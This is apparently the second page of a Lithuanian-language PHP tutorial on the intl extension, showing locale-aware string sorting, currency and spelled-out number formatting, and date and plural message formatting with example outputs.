$arr = ['urvas', 'ūkas', 'Ukmergė', 'ugnis'];
$collator = new Collator('lt_LT');
$collator->sort($arr);
print_r($arr);
// Array ( [0] => ugnis [1] => ūkas [2] => Ukmergė [3] => urvas )
 

Skaičių formatai

 
Skirtingose kalbose dažnai naudojami skirtingi skaičių (taip pat valiutos) formatai. Tinkamai juos atvaizduoti galima naudojant NumberFormatter klasę:
 
$ltNum = new NumberFormatter('lt_LT', NumberFormatter::CURRENCY);
echo $ltNum->formatCurrency(1234567890.25, 'LTL');
// 1,234,567,890.25 Lt
echo $ltNum->formatCurrency(1234567890.25, 'EUR');
// 1,234,567,890.25 €
echo $ltNum->formatCurrency(1234567890.25, 'USD');
// 1,234,567,890.25 US$

$enNum = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $enNum->formatCurrency(1234567890.25, 'LTL');
// LTL1,234,567,890.25
echo $enNum->formatCurrency(1234567890.25, 'EUR');
// €1,234,567,890.25
echo $enNum->formatCurrency(1234567890.25, 'USD');
// $1,234,567,890.25
 
Matome, jog skirtingos lokalės skirtingai atvaizduoja valiutas.
 
NumberFormatter klasė taip pat leidžia skaičių versti tekstu:
 
$ltNum = new NumberFormatter('lt_lt', NumberFormatter::SPELLOUT);
echo $ltNum->format(1234567890.25);
// vienas milijardas du šimtai trisdešimt keturi milijonų penki šimtai šešiasdešimt septyni tūkstančiai aštuoni šimtai devyniasdešimt kablelis du penki

$enNum = new NumberFormatter('en_US', NumberFormatter::SPELLOUT);
echo $enNum->format(1234567890.25);
// one billion two hundred thirty-four million five hundred sixty-seven thousand eight hundred ninety point two five
 
Tiesa, skaičius išverstas ne idealiai, tačiau žiūrint pozityviai, yra galimybė contribute'inti į ICU projektą ir prisidėti prie ICU tobulinimo :)
 

Teksto formatavimas

 
Verčiant tekstą į skirtingas kalbas svarbu ne tik užtikrinti paties teksto fizinį vertimą, bet ir datų, skaičių bei jų daugiskaitinių formų tinkamą atvaizdavimą.
Tam tinkama naudoti MessageFormatter klasė. Pavyzdžiui, atvaizduojant datas:
 
$enDate = new MessageFormatter('en_US', 'Today {0,date,short}');
echo $enDate->format(array(time()));
// Today 8/16/13
$enDate = new MessageFormatter('en_US', 'Today {0,date,long}');
echo $enDate->format(array(time()));
// Today August 16, 2013

$ltDate = new MessageFormatter('lt_LT', 'Šiandien {0,date,short}');
echo $ltDate->format(array(time()));
// Šiandien 2013-08-16
$ltDate = new MessageFormatter('lt_LT', 'Šiandien {0,date,long}');
echo $ltDate->format(array(time()));
// Šiandien 2013 m. rugpjūtis 16 d.
 
MessageFormatter konstruktoriui perduodame lokalę ir teksto formatą, o metodui format() masyvą duomenų, kuriuos apdoroja formateris. {0,date,short} reiškia, jog pirmą format() metodui perduoto atributo masyvo elementą naudosime kaip trumpo formato datą.
 
MessageFormatter taip pat aktualu naudoti su daugiskaitinėmis formomis, pvz.:
 
$x = new MessageFormatter('lt_LT', 'Parduodu {0, plural, one{{0,number} obuolį} few{{0,number} obuolius} other{{0,number} obuolių}} ir {1, plural, one{{1,number} bandelę}few{{1,number} bandeles}other{{1,number} bandelių}} už {2,number,currency}');
echo $x->format(array(15, 2, 15));
// Parduodu 15 obuolių ir 2 bandeles už 15.00 Lt
 
Daugiau informacijos apie teksto formatavimą: http://userguide.icu-project.org/formatparse/messages
 
Kadangi PHP manual'e intl funkcijos nėra pilnai dokumentuotos, jei rasite daugiau naudingų panaudojimo atvejų, pasidalinkite komentaruose. Būsiu dėkingas :)

 

« 1 2 »

Žymės RSS Žymės RSS